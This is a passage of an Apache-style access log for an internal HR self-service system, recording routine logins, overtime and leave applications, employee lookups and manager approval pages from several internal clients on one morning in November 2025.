(Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:31 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235 HTTP/1.1" 200 5264 192.168.11.78 - - [29/Nov/2025:09:00:36 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:36 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235 HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:09:00:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13631 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.577772655443235" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 13631 192.168.11.78 - - [29/Nov/2025:09:00:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.78 - - [29/Nov/2025:09:00:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132624%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132624&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:45 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132624%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132624&target=iframe HTTP/1.1" 200 3251 192.168.11.78 - - [29/Nov/2025:09:00:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132624 HTTP/1.1" 200 5531 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132624%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132624&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=132624 HTTP/1.1" 200 5531 192.168.11.78 - - [29/Nov/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132624&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16529 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=132624" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=132624&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 16529 192.168.11.78 - - [29/Nov/2025:09:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.78 - - [29/Nov/2025:09:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.71 - - [29/Nov/2025:09:02:41 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:02:41 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.71 - - [29/Nov/2025:09:02:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:02:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.71 - - [29/Nov/2025:09:02:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:02:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.71 - - [29/Nov/2025:09:02:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:02:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.71 - - [29/Nov/2025:09:24:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:24:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.71 - - [29/Nov/2025:09:25:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2798623920279466 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:25:08 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2798623920279466 HTTP/1.1" 200 8456 192.168.11.71 - - [29/Nov/2025:09:25:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2798623920279466 HTTP/1.1" 200 10638 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2798623920279466" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:25:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2798623920279466 HTTP/1.1" 200 10638 192.168.11.71 - - [29/Nov/2025:09:25:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13816508015536444 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:25:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13816508015536444 HTTP/1.1" 200 8456 192.168.11.71 - - [29/Nov/2025:09:25:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13816508015536444 HTTP/1.1" 200 10639 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13816508015536444" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:25:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13816508015536444 HTTP/1.1" 200 10639 192.168.11.71 - - [29/Nov/2025:09:25:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9465500817949528 HTTP/1.1" 200 8456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:25:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9465500817949528 HTTP/1.1" 200 8456 192.168.11.71 - - [29/Nov/2025:09:26:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9465500817949528 HTTP/1.1" 200 10638 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9465500817949528" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:26:10 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9465500817949528 HTTP/1.1" 200 10638 192.168.11.71 - - [29/Nov/2025:09:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4627 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:27:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4627 100.64.0.1 - - [29/Nov/2025:09:29:56 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [29/Nov/2025:09:29:56 +0800] "\x03" 501 203 192.168.11.71 - - [29/Nov/2025:09:40:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:40:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 192.168.11.71 - - [29/Nov/2025:09:40:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10650 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:40:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 10650 192.168.11.71 - - [29/Nov/2025:09:41:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 28807 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.71 - - [29/Nov/2025:09:41:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 28807 192.168.11.119 - - [29/Nov/2025:10:15:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.119 - - [29/Nov/2025:10:15:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:15:50 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:15:50 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.119 - - [29/Nov/2025:10:15:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:15:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.119 - - [29/Nov/2025:10:15:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:15:58 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.119 - - [29/Nov/2025:10:15:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:15:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.119 - - [29/Nov/2025:10:16:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:16:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.119 - - [29/Nov/2025:10:16:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:16:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10483 192.168.11.119 - - [29/Nov/2025:10:16:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:16:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.119 - - [29/Nov/2025:10:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34599751087407116 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34599751087407116 HTTP/1.1" 200 8588 192.168.11.119 - - [29/Nov/2025:10:16:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34599751087407116 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34599751087407116" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:16:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.34599751087407116 HTTP/1.1" 200 14552 192.168.11.119 - - [29/Nov/2025:10:17:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:17:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.119 - - [29/Nov/2025:10:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.119 - - [29/Nov/2025:10:17:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:17:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.119 - - [29/Nov/2025:10:17:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166524 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:17:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166524 192.168.11.119 - - [29/Nov/2025:10:37:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.119 - - [29/Nov/2025:10:37:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.40.60 - - [29/Nov/2025:10:38:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.40.60 - - [29/Nov/2025:10:38:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:04 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.60 - - [29/Nov/2025:10:38:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7217 192.168.40.60 - - [29/Nov/2025:10:38:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10785 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10785 192.168.40.60 - - [29/Nov/2025:10:38:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 13866 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 13866 192.168.40.60 - - [29/Nov/2025:10:38:37 +0800] "POST 